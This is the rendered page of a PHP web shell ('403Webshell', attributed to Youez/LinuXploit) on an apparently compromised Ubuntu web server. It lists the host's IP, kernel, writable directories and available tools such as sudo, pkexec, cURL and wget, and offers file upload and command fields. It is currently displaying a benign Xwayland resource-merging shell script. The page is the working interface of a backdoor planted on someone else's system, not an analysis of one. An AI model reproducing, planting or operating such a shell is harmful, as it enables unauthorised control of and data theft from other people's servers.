403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/xdg/Xwayland-session.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/xdg/Xwayland-session.d/00-xrdb
#!/bin/sh

# This script mimic what /etc/X11/Xsession.d/30x11-common_xresources is doing
# but for Xwayland

USRRESOURCES=$HOME/.Xresources
SYSRESOURCES=/etc/X11/Xresources
OPTIONFILE=/etc/X11/Xsession.options

# read OPTIONFILE
OPTIONS=$(cat "$OPTIONFILE") || true

has_option() {
  if [ "${OPTIONS#*
$1}" != "$OPTIONS" ]; then
    return 0
  else
    return 1
  fi
}

if [ -d "$SYSRESOURCES" ] && which xrdb >/dev/null 2>&1; then
  RESOURCEFILES=$(run-parts --list $SYSRESOURCES)
  if [ -n "$RESOURCEFILES" ]; then
    for RESOURCEFILE in $RESOURCEFILES; do
      xrdb -merge $RESOURCEFILE
    done
  fi
fi

if has_option allow-user-resources && [ -f "$USRRESOURCES" ]; then
  if which xrdb >/dev/null 2>&1; then
    xrdb -merge $USRRESOURCES
  fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit